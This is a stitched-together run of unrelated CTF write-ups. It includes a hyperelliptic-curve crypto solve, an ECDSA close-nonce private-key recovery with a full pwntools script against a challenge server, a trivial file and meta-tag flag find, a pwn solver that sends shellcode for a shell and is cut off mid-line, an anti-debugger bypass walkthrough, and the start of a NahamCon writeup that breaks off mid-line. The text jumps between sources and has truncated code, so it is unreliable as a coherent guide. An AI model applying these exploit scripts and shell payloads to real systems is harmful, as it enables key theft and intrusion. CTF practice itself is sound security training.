anymore, so we will have to lift the data given back into $J$). The challenge is then defined by the following: given the element of the Jacobian $Q$, and an integer $d$, such that $Q = dG$, find a way to recover $G$. To do this, we must "divide" the given data by `65537` to obtain the flag, *i.e.* we must find the integer $d^{-1}$ such that $d^{-1} dG = G$. We are able to do this by calculating the value of `inverse_mod(65537,jacobian_order)` and so to solve this challenge we must calculate the order of the Jacobian $J(C)$. In summary, to grab the flag, we need to: - Lift the data from the challenge into the Jacobian of the hyperelliptic curve- Calculate the order of the Jacobian - Calculate the inverse of `65537` from `inverse_mod(65537,jacobian_order)`- Perform inverse multiplication on $Q$ to obtain $G = d^{-1} d Q$- Represent $G$ as an integer to obtain the flag The difficulty of this challenge was making sage work as I wanted it to, but I suppose the Jacobian order is the core of the intended challenge! #### Finding the order To solve this challenge, we need to find the multipicative inverse of `65537` under the action of scalar multiplication in the Jacobian of the Hyperelliptic curve. This requires calculating the order of the Jacobian. To find this, we followed example 56 in [An elementary introduction to hyperelliptic curves](https://www.math.uwaterloo.ca/~ajmeneze/publications/hyperelliptic.pdf). In our case, we have a curve $C$ of genus $g=2$, defined over $GF(q) = GF(2)$. As a result, our calculation can follow the method outlined on page 30 of the above link. While solving the challenge, we were first calculaing a value for the order which wasn't an integer. This bug came from incorrectly calculating the values $M_1$, $M_2$ by forgetting to include the point at infinity while counting all points in step 1. We spotted this by running our script against the given example in the lecture notes. Once this was fixed, we found the order for our curve was an integer. An implementation for the calculation of the order is given below ```python# Paramters and curveq = 2n = 256E_f = lambda x, y: y^2 + (x^2 + x)*y + x^5 + x^3 + 1 # Step 1 # Note: + 1 in calcs. represents incluing the point at infinity. def count_points(F): return [(x, y) for x in F for y in F if E_f(x, y) == 0] ps1 = count_points(GF(2))m1 = len(ps1) + 1print('points in GF(2) =', ps1)print('M1 =', m1) ps2 = count_points(GF(4))m2 = len(ps2) + 1print('points in GF(4) =', ps2)print('M2 =', m2) # Step 2a1 = m1 - 1 - qa2 = (m2 - 1 - q^2 + a1^2) / 2print('a1 =', a1)print('a2 =', a2) # Step 3# X^2 + a1X + (a2 − 2q) = 0 => x^2 - x - 5 = 0 => zeros = (1 +- sqrt(21)) / 2var('X')gammas = list(map(lambda x: x.rhs(), solve([X^2 + a1*X + (a2 - 2 * 2) == 0], X)))print('gammas =', gammas) # Step 4# X^2 − gamma1X + q = 0alpha1 = list(map(lambda x: x.rhs(), solve([X^2 - gammas[0]*X + q == 0], X)))[0]alpha2 = list(map(lambda x: x.rhs(), solve([X^2 - gammas[1]*X + q == 0], X)))[0]print('alpha1 =', alpha1)print('alpha2 =', alpha2) # Step 5nj = int(abs(1-alpha1^n)^2 * abs(1-alpha2^n)^2)print('size of jacobian =', nj)# 13407807929942597099574024998205846127384782207827457971403006387925941306569427075743805985793764139096494648696821820448189053384542053304334065342873600``` With the order of the Jacobian, we can find the multiplicative inverse from `inv = inverse_mod(65537, jacobian_order)`. The only remaining step is to take the integers printed as challenge data and lift these back into the Jacobian of the curve. We perform this with the function ```pythonF = GF(2**n)P.<x> = PolynomialRing(F)f = x^5 + x^3 + 1h = x^2 + x C = HyperellipticCurve(f,h,'u,v')J = C.jacobian()J = J(J.base_ring()) def data_to_jacobian(data): xs, ys = data pt_x = P(list(map(F.fetch_int, xs))) pt_y = P(list(map(F.fetch_int, ys))) pt = (pt_x, pt_y) return J(pt)``` The output of `pt = data_to_jacobian(data)` is an element of `J` and by calculating `inv*pt` we obtain the flag represented as an element of the Jacobian. Representing this as an integer and applying `long_to_bytes` prints the flag. #### Implementation ```pythonfrom Crypto.Util.number import long_to_bytes def count_points(F, curve): return [(x, y) for x in F for y in F if curve(x, y) == 0] def jacobian_order(q, n, curve, debug=False): # step 1 # +1 represents the point at infinity. ps1 = count_points(GF(2), curve) m1 = len(ps1) + 1 if debug: print('points in GF(2) =', ps1) print('M1 =', m1) ps2 = count_points(GF(4), curve) m2 = len(ps2) + 1 if debug: print('points in GF(4) =', ps2) print('M2 =', m2) # step 2 a1 = m1 - 1 - q a2 = (m2 - 1 - q^2 + a1^2) / 2 if debug: print('a1 =', a1) print('a2 =', a2) # step 3 # X^2 + a1X + (a2 − 2q) = 0 => x^2 - x - 5 = 0 => zeros = (1 +- sqrt(21)) / 2 var('X') gammas = list(map(lambda x: x.rhs(), solve([X^2 + a1*X + (a2 - 2 * 2) == 0], X))) # step 4 # X^2 − gamma1X + q = 0 alpha1 = list(map(lambda x: x.rhs(), solve([X^2 - gammas[0]*X + q == 0], X)))[0] alpha2 = list(map(lambda x: x.rhs(), solve([X^2 - gammas[1]*X + q == 0], X)))[0] if debug: print('points in GF(2) =', ps1) print('M1 =', m1) print('points in GF(4) =', ps2) print('M2 =', m2) print('a1 =', a1) print('a2 =', a2) print('gammas =', gammas) print('alpha1 =', alpha1) print('alpha2 =', alpha2) # step 5 nj = int(abs(1-alpha1^n)^2 * abs(1-alpha2^n)^2) return nj def data_to_jacobian(data): xs, ys = data pt_x = P(list(map(F.fetch_int, xs))) pt_y = P(list(map(F.fetch_int, ys))) pt = (pt_x, pt_y) return J(pt) q = 2n = 256enc_flag = ([113832590633816699072296178013238414056344242047498922038140127850188287361982, 107565990181246983920093578624450838959059911990845389169965709337104431186583, 1], [60811562094598445636243277376189331059312500825950206260715002194681628361141, 109257511993433204574833526052641479730322989843001720806658798963521316354418]) F = GF(2**n)P.<x> = PolynomialRing(F)f = x^5 + x^3 + 1h = x^2 + x C = HyperellipticCurve(f,h,'u,v')J = C.jacobian()J = J(J.base_ring()) E_f = lambda x, y: y^2 + (x^2 + x)*y + x^5 + x^3 + 1J_order = jacobian_order(q, n, E_f, debug=False)# J_order = 13407807929942597099574024998205846127384782207827457971403006387925941306569427075743805985793764139096494648696821820448189053384542053304334065342873600 inv = inverse_mod(65537, J_order)# inv = 744275832722449429303298944771241714015378147795539803469248473980721950551590333728366665796690631826800853440942334601683198440773364510447034953039873 J_point = data_to_jacobian(enc_flag)flag_point = inv*J_pointflag_int = flag_point[0].coefficients()[0].integer_representation()# flag_int = 87336973591408809511144500944284390061575902317760214640835643492103517747 flag = long_to_bytes(flag_int).decode()print('flag{'+flag+'}')# flag{1nTere5tinG_Hyp3re11iPtic_curv3}```
## Speedy Signatures >Guess my number! `nc 2020.redpwnc.tf 31452` ### Challenge ```py#!/usr/bin/env python3 from Crypto.Util.number import inverseimport ecdsaimport randomimport hashlib flag = open('flag.txt','rb').read() C = ecdsa.NIST256pG = C.generatorn = C.orderk = random.randint(1,n-1) for i in range(100): print("> ROUND ",i+1) ans = random.randint(1,n-1) Q = G*ans print(Q.x(),Q.y()) m1 = input("Enter first message: ").encode() h1 = int(hashlib.sha256(m1).hexdigest(),16) done = False while not done: k1 = k+random.randint(1,4096) P = k1*G r1 = P.x()%n if r1 == 0: continue s1 = inverse(k1,n)*(h1+r1*ans)%n if s1 == 0: continue done = True m2 = input("Enter second message: ").encode() h2 = int(hashlib.sha256(m2).hexdigest(),16) done = False while not done: k2 = k+random.randint(1,4096) if k1 == k2: continue P2 = k2*G r2 = P2.x()%n if r2 == 0: continue s2 = inverse(k2,n)*(h2+r2*ans)%n if s2 == 0: continue done = True sigs = [str(r1),str(s1),str(r2),str(s2)] random.shuffle(sigs) sigs.pop(random.randint(0,3)) print(' '.join(sigs)) user_ans = int(input("What's my number?\n").strip()) if user_ans == ans: print("Correct!") if i == 99: print("Here's your flag: {}".format(flag)) else: print("Wrong! Better luck next time...") break print()``` ### TL;DR #### Stage 1 - Connect to the server until we recieve a data package with `(s1,s2,r1)`.- Guess all permutations of the data and use the guessed `r1` to calculate `2*4096` possible `r2`.- From guessing all `r1, r2` we also obtain the differences in the nonces `dk`.- Use `dk` to find `secret` from the given data together with the guessed `r2`. - Use `secret` to calculate `k1_first`.- Send `secret` to the server. #### Other stages - From `k1_first` guess the nonce `k1_round` for the pair `(s1,r1)` from `2*4096` possible `k1_round`- Find `secret` from `f(s1,r1,k1)`. - Use `k1` to lower the bounds on the brute for additional nonces.- Send `secret` to the server. ### Solution **Note:** My main motivation for writing this up is so I can ask the challenge author Tux if it is the intended solution. This script is pretty slow and requires a lot of guessing. I would love to know if given `s1,s2,r1` or `s1,r1,r2` is suffient to find `secret` knowing that `|k1 - k2| < 4096`. This challenge, like most CTF challenges associated to ECDSA, is about the closeness of nonce values. The canoncial challenge is the famous playstation three attack where the nonces are reused. For ECDSA there is the message `m` we want to sign. To sign `m` the server creates a private key `d`, and a public key `Q`. The public key is produced from the private key via the a scalar multiplication of a generator: `Q = d*G`. It is vital for the generator `G` to be of prime order, we will denote the order of `G` as `n`. Aside: this problem is usually solved by working with an elliptic curve E of prime order, as a result all points on the curve will also have prime order. To sign the message `m`, the server calculates the hash: `h = Hash(m)`. A cryptographically secure integer `k` is picked. This value is known as the nonce (aside: the name nonce is used because it denotes n_once, or a number to be used only once!). A random point on the curve is produced from `R = k*G` and an integer `r = R.x mod n` is caluclated. If `r` is zero, a new `k` is generated. Finally the server signs `h` by calculating `s = k^-1(h + r*d) mod n`. The signed message `m` is the tuple `(r,s)`. For the remaining dicussion, all arithmetic is mod `n`. The hardness of the ECDLP means it is infeasible to calculate `d` from `Q` given a curve of a suffiently large order. However if the nonce `k` is innapropriately picked, `d` can be recovered from `h,r,s` through signing multiple messages. When `k` is fixed, the secret `d` can be recovered from only two signings using that the nonce can be recovered from ```pyk = s1^-1*(h1 + r1*d) = s2^-1*(h2 + r2*d) --> k = (h1 - h2) / (s1 - s2)``` and that the secret is `d = r^-1*(sk - h)`. This is the famous PS3 attack. We can do better than this though, we don't need `k1 = k2`, but only that `k1` and `k2` differ by a known number of bits. If an attacker can calculate the difference `k1 - k2`, the secret `d` can be recovered in the following way. ```pyk1 = s1^-1*(h1 + r1*d), k2 = s2^-1*(h2 + r2*d)k1 - k2 = s1^-1*(h1 + r1*d) - s2^-1*(h2 + r2*d)s1*s2*(k1 - k2) = s2*(h1 + r1*d) - s1*(h2 + r2*d)d*(s1*r2 - s2*r1) = (s2*h1 - s1*h2) - s1*s2*(k1 - k2)d = (s2*h1 - s1*h2) - s1*s2*(k1 - k2)*(s1*r2 - s2*r1)^-1``` An implmentation of the lattice attack to recover `k1 - k2` from a set of signed messages is wonderfully described here: [Trail of Bits: ECDSA - Handle With Care](https://blog.trailofbits.com/2020/06/11/ecdsa-handle-with-care/). I originally thought we'd need to use this to solve this challenge but it turns out knowing the difference of `k1,k2` is given for free while trying to recover other data. Onto the challenge. We connect to a server, and are able to sign two messages. The server replies with the public key and generates the tuples `(r1,s1)` and `(r2,s2)`. We control the signed message `m1, m2`. The nonces used for the challenge are generated insecurely and we see that their difference is only at most `4096`. This challenge would be easy if not for the next step: ```pysigs = [str(r1),str(s1),str(r2),str(s2)]random.shuffle(sigs)sigs.pop(random.randint(0,3))print(' '.join(sigs))``` We are only given 3 of the four pieces `(r1,s1,r2,s2)` AND we don't know which of these integers is which. We can break down our problem in two questions: - Case 1: given `(r1,s1,r2)`, can we calculate `d`?- Case 2: given `(r1,s1,s2)`, can we calculate `d`? For the first case, I have no idea how to solve this. Maybe there's a way, but I can't see it. It might then seems like it's impossible to pass all 100 rounds of teh challenge, but we find that if we can solve one round, the remaining 99 are easier. For the second case, we know that `r1 = k1*G` and the missing data is `r2 = k2*G`. As `|k1 - k2| < 4096`, we can take `r1`, lift it to find `R1`. We can then generate `2*4096` points such that one of them is `R2 = k2*G`. Once we have `R1` and `R2`, we know `k1 - k2` and we can solve the above equation for `d`. Note the contrast to case 1, where knowing `(r1,s1,r2)` doesn't help you find `s2` (as far as i know). So if we solve case 2, how can we solve all other rounds? Well, we can use our secret `d` to find `k1` from our data. It is this additional information that allows us to guess every other nonce for the rest of the challenge. As the difference is small, given `k_found` every other `k` will be one of `2*4096` nonces either side of it. Our first question is given some data `(?,?,?)` how do we know if we are in case 1 or case 2? By taking the data given, we know that one of them is `r1`. By lifting this onto the curve we can look at the `2*4096` possible `r2` values, if any of these points are in our array, we know we have `r1, r2` and thus it is `s2` which is missing. ```py# Returns r1, r2, k1 - k2 if both r1,r2 in the data,# otherwise None.def find_r_value(data_array): for r_guess in data_array[1:]: try: R1 = E.lift_x(r_guess) except: continue for i in range(-4096, 4096): R2 = R1 + i * G r2_guess = Integer(R2.xy()[0]) if r2_guess in data_array and r2_guess != r_guess: return r_guess, r2_guess, i return None``` Note, this also gives `k1 - k2`, but this is not enough to solve, as we do not know what `s2` is. So we can analyse the data packet on the first connection using this function. If we find both `r1,r2` we quit and try again. When only one `r1` value is in the set, we continue and calculate all possible `r2` values. One of these `r2` will produce a secret `d` such that `d*G == Q`. We implement this like so ```pydef big_brute(guesses, Qx, Qy): # O(6 * 8192 * 2) # permutation * k_gap values * pos or neg k_gap for guess in guesses: ra, sa, sb = guess try: R1 = E.lift_x(ra) except: continue for i in range(-4096, 4096): print("i = ", i) R2 = R1 + i * G rb = int(R2.xy()[0]) k_gap = i for kd in [k_gap, -k_gap]: # guess the k_gap, use to derive a potential secret potential_priv_key = (sb * h1) - (sa * h1) - (sa * sb * kd) potential_priv_key *= inverse_mod((rb * sa) - (ra * sb), n) potential_priv_key %= n pG = potential_priv_key * ecG if pG.x() == Qx and pG.y() == Qy: print("found private key!") r1_found = ra s1_found = sa secret = potential_priv_key return r1_found, s1_found, secret exit("Something went wrong, exiting")``` Note that we're now using python rather than sage to do the scalar multiplication on our curve. V01d noticed it was MUCH faster, and the switch to the `ecdsa` package made our script take ~ 30 mins rather than several hours. Now we have the secret, we can also calculate the nonce `k1` and send the secret to the server, progressing to round `2`. We can reduce our search space of the permutations of the data by again checking if `r1,r2` are in `given_data`: ```pyif check_data is None: print("One r value found, full search space") guesses = list(itertools.permutations(given_data))else: print("Both r values found, reduced search space") ra,rb,_ = check_data for x in given_data: if x != ra and x != rb: sa = x break guesses = [[sa, ra, rb], [sa, rb, ra]]``` We see that when both `ri` values appear, we can identify `s1` and reduce our guesses from the 6 permutations to just 2. Given these permutations we guess `2*4096` possible nonces and calculate the secret from them. If the secret produces the public key, we are successful and we move to the next round ```pydef brute_from_nonce(guesses, Qx, Qy): for guess in guesses: sa, ra, _ = guess for i in range(-k_lower, k_upper): k_guess = k1_found + i potential_priv_key = inverse(ra, n) * (k_guess * sa - h1) % n pG = potential_priv_key * ecG if pG.x() == Qx and pG.y() == Qy: print("found private key!") secret = potential_priv_key print(secret) return secret, k_guess``` All we have to do is do this 99 times. We can speed it up a bit by using each recovered nonce from the above check to reduce the bound we guess over by recalculating the bounds each round ```pyif k_guess > k1_found: k_diff = 4096 - (k_guess - k1_found) if k_diff < k_lower: k_lower = k_diffelif k_guess < k1_found: k_diff = 4096 - (k1_found - k_guess) if k_diff < k_upper: k_upper = k_diff``` After about 20 rounds the search space halves, which is pretty nice. Thanks to v01d, who was able to change up my slow script and produce something fairly reasonable. Thanks to hyperreality who ran my slow script and was gonna leave it on overnight until v01d saved us! ### Implementation ```pyimport osos.environ["PWNLIB_NOTERM"] = "True" from pwn import *import hashlibimport itertoolsfrom Crypto.Util.number import inverseimport gmpy2import ecdsa ecC = ecdsa.NIST256pecG = ecC.generatorecn = ecC.order a = -3b = 0x5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604Bp = 115792089210356248762697446949407573530086143415290314195533631308867097853951E = EllipticCurve(GF(p), [a, b])n = 115792089210356248762697446949407573529996955224135760342422259061068512044369G = E( 48439561293906451759052585252797914202762949526041747995844080717082404635286, 36134250956749795798585127919587881956611106672985015071877198253568414405109,) # We'll always send the same message, so let's grab it now.h1 = int(hashlib.sha256(b"password").hexdigest(), 16) """For stage one, we have a 50% chance of being able to continueusing the method described above. If we find both r1 and r2in the given data we exit and run the script again""" # --- REMOTE ---IP = "2020.redpwnc.tf"PORT = 31452r = remote(IP, PORT, level="debug") r.recvuntil("> ROUND")r.recvline()response = r.recvuntil("Enter", drop=True) Qs = response.split(b" ")Q = E(Integer(Qs[0]), Integer(Qs[1]))print("Q = ", Q) r.sendlineafter("message: ", b"password")r.sendlineafter("message: ", b"password") data = r.recvline().decode().split(" ")r.recvuntil("number?") given_data = list(map(Integer, data))print("*" * 80)print("Available Data")print("*" * 80)for d in given_data: print(f"?? = {d}") # Returns r1, r2, k1 - k2 if both r1,r2 in the data,# otherwise None.def find_r_value(data_array): for r_guess in data_array[1:]: try: R1 = E.lift_x(r_guess) except: continue for i in range(-4096, 4096): R2 = R1 + i * G r2_guess = Integer(R2.xy()[0]) if r2_guess in data_array and r2_guess != r_guess: return r_guess, r2_guess, i return None check_data = find_r_value(given_data) if check_data is not None: print("Need both s1, s2") print("Exiting") exit() else: print("r1 or r2 is missing, we can proceed") guesses = list(itertools.permutations(given_data)) def big_brute(guesses, Qx, Qy): # O(6 * 8192 * 2) # permutation * k_gap values * pos or neg k_gap for guess in guesses: ra, sa, sb = guess try: R1 = E.lift_x(ra) except: continue for i in range(-4096, 4096): print("i = ", i) R2 = R1 + i * G rb = int(R2.xy()[0]) k_gap = i for kd in [k_gap, -k_gap]: # guess the k_gap, use to derive a potential secret potential_priv_key = (sb * h1) - (sa * h1) - (sa * sb * kd) potential_priv_key *= inverse_mod((rb * sa) - (ra * sb), n) potential_priv_key %= n pG = potential_priv_key * ecG if pG.x() == Qx and pG.y() == Qy: print("found private key!") r1_found = ra s1_found = sa secret = potential_priv_key return r1_found, s1_found, secret exit("Something went wrong, exiting") Qx, Qy = map(int, Q.xy())r1_found, s1_found, secret = big_brute(guesses, Qx, Qy) print("Recovered secret from brute force, found:")print(f"r1_found = {r1_found}")print(f"s1_found = {s1_found}")print(f"secret = {secret}")print("We can now calculate the nonce")k1_found = inverse_mod(s1_found, n) * (h1 + r1_found * secret) % n # Set generic bounds, which we will lower over each roundk_upper = 4096k_lower = 4096 print(f"Nonce found: {k1_found}")print("Subsequent rounds we can go faster (but still pretty slowly)")r.sendline(str(secret)) """For every other round, we have the nonce within 8192 guess, so we take the data, permute throughthe guesses to find the pair (r1,r2) and then try all 8000 nonces until the secret works.""" def brute_from_nonce(guesses, Qx, Qy): for guess in guesses: sa, ra, _ = guess for i in range(-k_lower, k_upper): k_guess = k1_found + i potential_priv_key = inverse(ra, n) * (k_guess * sa - h1) % n pG = potential_priv_key * ecG if pG.x() == Qx and pG.y() == Qy: print("found private key!") secret = potential_priv_key print(secret) return secret, k_guess iRnd = 0while True: print("Round ", iRnd) print(f"Brute search for nonce between {-k_lower}, {k_upper}") response = r.recvuntil("message: ") cut = response.decode().split("\n") Qx, Qy = map(int, cut[-2].split(" ")) print(Qx, Qy) r.sendline("password") r.recvuntil("message: ") r.sendline("password") data = r.recvline().decode().split(" ") r.recvuntil("number?") given_data = list(map(Integer, data)) print("*" * 80) print("Available Data") print("*" * 80) for d in given_data: print(f"?? = {d}") check_data = find_r_value(given_data) if check_data is None: print("One r value found, full search space") guesses = list(itertools.permutations(given_data)) else: print("Both r values found, reduced search space") ra,rb,_ = check_data for x in given_data: if x != ra and x != rb: sa = x break guesses = [[sa, ra, rb], [sa, rb, ra]] secret, k_guess = brute_from_nonce(guesses, Qx, Qy) if k_guess > k1_found: k_diff = 4096 - (k_guess - k1_found) if k_diff < k_lower: k_lower = k_diff elif k_guess < k1_found: k_diff = 4096 - (k1_found - k_guess) if k_diff < k_upper: k_upper = k_diff r.sendline(str(secret)) iRnd += 1 #flag{s0m3t1m3s_crypt0gr4ph1c_1mpl3m3nt4t10ns_f41l}```
## PremiseWe're given a zip file with 1,210 images. Presumably theres a flag hidden in one of these images.## SolutionI immediately checked the low hanging fruit and ran the command `file *`.All of the resulting files were exactly the same except for one-- 1145.jpg.```114.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 2444x1718, frames 31140.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 2444x1718, frames 31141.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 2444x1718, frames 31142.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 2444x1718, frames 31143.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 2444x1718, frames 31144.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 2444x1718, frames 31145.jpg: JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=4, orientation=upper-left, xresolution=62, yresolution=70, resolutionunit=2], baseline, precision 8, 2444x1718, frames 31146.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 2444x1718, frames 31147.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 2444x1718, frames 31148.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 2444x1718, frames 31149.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 2444x1718, frames 3115.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 2444x1718, frames 31150.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 2444x1718, frames 3```Looking at that file revealed the flag.This was definitely not the intended solution but it's good to know that there are alternative ways of finding unique items in large directories.
# inspector-general:web:112ptsMy friend made a new webpage, can you [find a flag?](https://redpwn.net/) # SolutionアクセスするとWriteupが置いてあるサイトに飛ぶ Home [site.png](site/site.png) ソースコードを見ると以下の記述があった。 ```html~~~ <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="redpwnctf2020" content="flag{1nspector_g3n3ral_at_w0rk}"> <title>Home | redpwn</title>~~~```metaタグ内にflagがある。 ## flag{1nspector_g3n3ral_at_w0rk}
Binary accepts (via `stdin`) hexadecimal representation of the user "program" to be executed. Program contains the expected header, CRC of payload and payload itself. If header check or CRC check fails, program won't be executed. Flag was located in the root directory (`/flag.txt`) at the remote server. ----- `solve.py`: ```#!/usr/bin/env python2 import struct try: from pwn import *except ImportError: exit("[x] sudo pip install pwn") context.arch = "x86_64" header = "NIIv0.1:AmnlXing"payload = asm(shellcraft.sh()) v0 = 0for char in payload: v7 = ord(char) for v9 in xrange(7, -1, -1): if v0 >= 0x80000000: v10 = 0x80000011 else: v10 = 0 v12 = 2 * v0 v12 = (v12 & 0xffffff00) | (((v7 >> v9) & 1 ^ v12) & 0xff); v0 = v10 ^ v12 crc = struct.pack("
Let's start off by running the EXE.We get an output of a 991, which seems to be sending us to look at 0x40a161:![](https://i.imgur.com/U0jjmHQ.png) Let's load the EXE into IDA and jump to that address. Looks like a very long function.![](https://i.imgur.com/WoF8uad.png) If we try to decompile it we get the following error:![](https://i.imgur.com/HTF8chb.png) I decided to leave the decompilation aside for a sec and go over the function manually.I see a lot of calls to sub_401050, it seems to be a simple call to _time64. Let's rename it accordingly.![](https://i.imgur.com/JcsVfuK.png) I recognize a pattern of putting single byte chars into local variables, possibly string obfuscation as I don't see any of the printed stings in the string window.From quickly going over the function and manually changing the single bytes to char we can see that those are the strings that have been printed to the screen.From here I can either start debugging dynamically or write a quick script to extract all of the strings.I chose to attempt to debug it manually. I loaded the EXE in windbg and let it run.I got an int 3 from the EXE itself, interesting, might take a look at it later on.After running the EXE through WinDbg it seems we get a different output than before:![](https://i.imgur.com/filbL4o.png) Looks like debug detection, let us see if we can disable it.Going back to IDA, I can see a call to a function before the string assembly starts.![](https://i.imgur.com/N6k0UyB.png) Looks like it checks for a debugger:![](https://i.imgur.com/1eh5pJE.png) Let's try to remove that function call.I locate the entry point in WinDbg and I rebase IDA accordingly.![](https://i.imgur.com/MsEg04j.png) I then find the call to check_debugger, and override it with nops.![](https://i.imgur.com/t0xTNPH.png)In addition to that, I go down to the end of the main part of the function to see how it decides its path.![](https://i.imgur.com/DUDQYYP.png) From looking at the use of the return value of check_debugger, I can see it places in esi, so let's also place a breakpoint on the esi test.![](https://i.imgur.com/Tbx8Exk.png) So, it looks like we are going to just to the True branch, let us see what output we receive. My guess is that this will be the debugging output (based on the return value from check_debugger).As you can see, this is indeed the debugger detection path. Let's restart the program, and this time change the Zero flag to jump to the next path.Looks like simply changing the ZF at that jump allows us to bypass the debugger check.![](https://i.imgur.com/GHkXfmH.png) From looking at the jump, we can see we have 3 possible endings.![](https://i.imgur.com/VKAKR3z.png) We know the right ending, is meant for the debugger detections.In the middle path, we can see the use of the string "... ...". This is the same string we received before, here:![](https://i.imgur.com/MR9OLeH.png) My guess is that the middle path is the standard program flow, so let's try and get to the left path.The fastest way is to place a breakpoint on all of the jumps and make the jump in the direction we want.![](https://i.imgur.com/oOUwm8H.png)![](https://i.imgur.com/n6bK1jF.png) From here we simply change the ZF at each breakpoint to match our needs:![](https://i.imgur.com/ptZc6Gw.png) And, we win:![](https://i.imgur.com/yYpifl6.png) CSCML2020{when_this_baby_hits_88_mph}
# **NahamCon CTF 2020** This is my writeup for the challenges in NahamCon CTF, I mainly focused on cryptography, steganography and OSINT.***# Table of Contents * [Warmup](#warmup) - [Read The Rules](#read-the-rules) - [CLIsay](#clisay) - [Metameme](#metameme) - [Mr.robot](#mr-robot) - [UGGC](#uggc) - [Easy Keesy](#easy-keesy) - [Peter Rabbit](#peter-rabbit) - [Pang](#pang)* [OSINT](#osint) - [Time Keeper](#time-keeper) - [New Years Resolution](#new-years-resolution) - [Finsta](#finsta) - [Tron](#tron)* [Steganography](#steganography) - [Ksteg](#ksteg) - [Doh](#doh) - [Beep Boop](#beep-boop) - [Snowflake](#snowflake) - [My Apologies](#my-apologies) - [Dead Swap](#dead-swap) - [Walkman](#walkman) - [Old School](#old-school)* [Cryptography](#cryptography) - [Docxor](#docxor) - [Homecooked](#homecooked) - [Twinning](#twinning) - [Ooo-la-la](#ooo-la-la) - [Unvreakable Vase](#unvreakable-vase) - [December](#december) - [Raspberry](#raspberry)* [Forensics](#forensics) - [Microsooft](#microsooft) - [Cow Pie](#cow-pie)* [Mobile](#mobile) - [Candroid](#candroid) - [Simple App](#simple-app) - [Ends Meet](#ends-meet)* [Miscellaneous](#miscellaneous) - [Vortex](#vortex) - [Fake file](#fake-file) - [Alkatraz](#alkatraz) - [Trapped](#trapped) - [Awkward](#awkward)* [Scripting](#scripting) - [Dina](#dina) - [Rotten](#rotten) - [Really powerful Gnomes](#really-powerful-gnomes)* [Web](#web) - [Agent 95](#agent-95) - [Localghost](#localghost) - [Phphonebook](#phphonebook)***# Warmup ## Read The RulesPlease follow the rules for this CTF! Connect here:https://ctf.nahamcon.com/rules **flag{we_hope_you_enjoy_the_game}** **Solution:** The flag is commented close to the end of the source code for the rules pages, right after the elements for the prizes: ![](assets//images//read_the_rules.png) ## CLIsaycowsay is hiding something from us! Download the file below. [clisay](assets//files/clisay) **flag{Y0u_c4n_r3Ad_M1nd5}** **Solution:** With the challenge we are given an ELF file (a type of Unix executable), by running it we get: ![](assets//images//clisay_1.png) well that didn't give us much, we can check if there are printable strings in the file by using the strings command on it, doing that gives us the flag: ![](assets//images//clisay_2.png) notice that you need to append the two parts of the flag together (the strings after and before the ascii art). **Resources:*** strings man page: https://linux.die.net/man/1/strings* ELF file: https://en.wikipedia.org/wiki/Executable_and_Linkable_Format ## MetamemeHacker memes. So meta. Download the file below. [hackermeme.jpg](assets//images//hackermeme.jpg) **flag{N0t_7h3_4cTuaL_Cr3At0r}** **Solution:** With the challenge we get this image: ![hackermeme.jpg](assets//images//hackermeme.jpg) We can guess by the name of the challenge and its description that there is something in the metadata of the image, so we can use exiftool on it, exiftool allows you to see the metadata of an image, and by using it we get the flag: ![](assets//images//metameme.png) **Resources:*** Exif: https://en.wikipedia.org/wiki/Exif* exiftool: https://linux.die.net/man/1/exiftool ## Mr. RobotElliot needs your help. You know what to do. Connect here:\http://jh2i.com:50032 **flag{welcome_to_robots.txt}** **Solution:** With the challenge we get a url to a website: ![](assets//images//mr_robot.png) There doesn't seem to be much in the index page, but we can guess by the name of the challenge that there is something in the robots.txt file for the website, robots.txt is a file which helps search engines (crawlers in general) to index the site correctly, in most sites nowadays there is a robots.txt file, if we look at the file ( the link is http://jh2i.com:50032/robots.txt ) we get the flag: ![](assets//images//mr_robot_2.png) **Resources:*** Introduction to robots.txt: https://support.google.com/webmasters/answer/6062608?hl=en ## UGGCBecome the admin! Connect here:\http://jh2i.com:50018 **flag{H4cK_aLL_7H3_C0okI3s}** **Solution:** With the challenge we get a url to a website and it seems that we can login to the it using the index page: ![](assets//images//uggc.png) By the description we know that we need to login as admin, but if we try using admin as our username we get the following: ![](assets//images//uggc_2.png) But we can login with any other username: ![](assets//images//uggc_3.png) If we try to refresh the page or open it in another tab it seems that the login is saved, which means that the site is using cookies, because HTTP connection is stateless (doesn't save the state of the connection server-side) and because sometimes the server needs to know who is the user in a session it saves cookies on the computer of the user, cookies are data which is most of the time encrypted and sent with HTTP requests to helps the server recognize the user, we can see the cookies of the site by using the inspector tool in the browser: ![](assets//images//uggc_4.png) we can see that the cookie for the site bares a strange similarity to the username I used, that is because the cookie is encrypted using ceaser cipher, a type of substitution cipher where each letter is replaced by the letter with a specific offset from it, in our case with the offset of 13, so a becomes n, b becomes o and so on, a ceaser cipher with offset of 13 is also called a ROT13 cipher, now that we know the cipher used on the cookie we can change our cookie to being that of the admin, we can use cyberchef to do that: ![](assets//images//uggc_5.png) now we only need to change the value of the cookie to the ciphertext corresponding to admin (we can use the browser inspector tool for that) and we get the flag: ![](assets//images//uggc_6.png) **Resources:*** HTTP cookie: https://en.wikipedia.org/wiki/HTTP_cookie* Ceaser cipher: https://en.wikipedia.org/wiki/Caesar_cipher* Cyberchef: 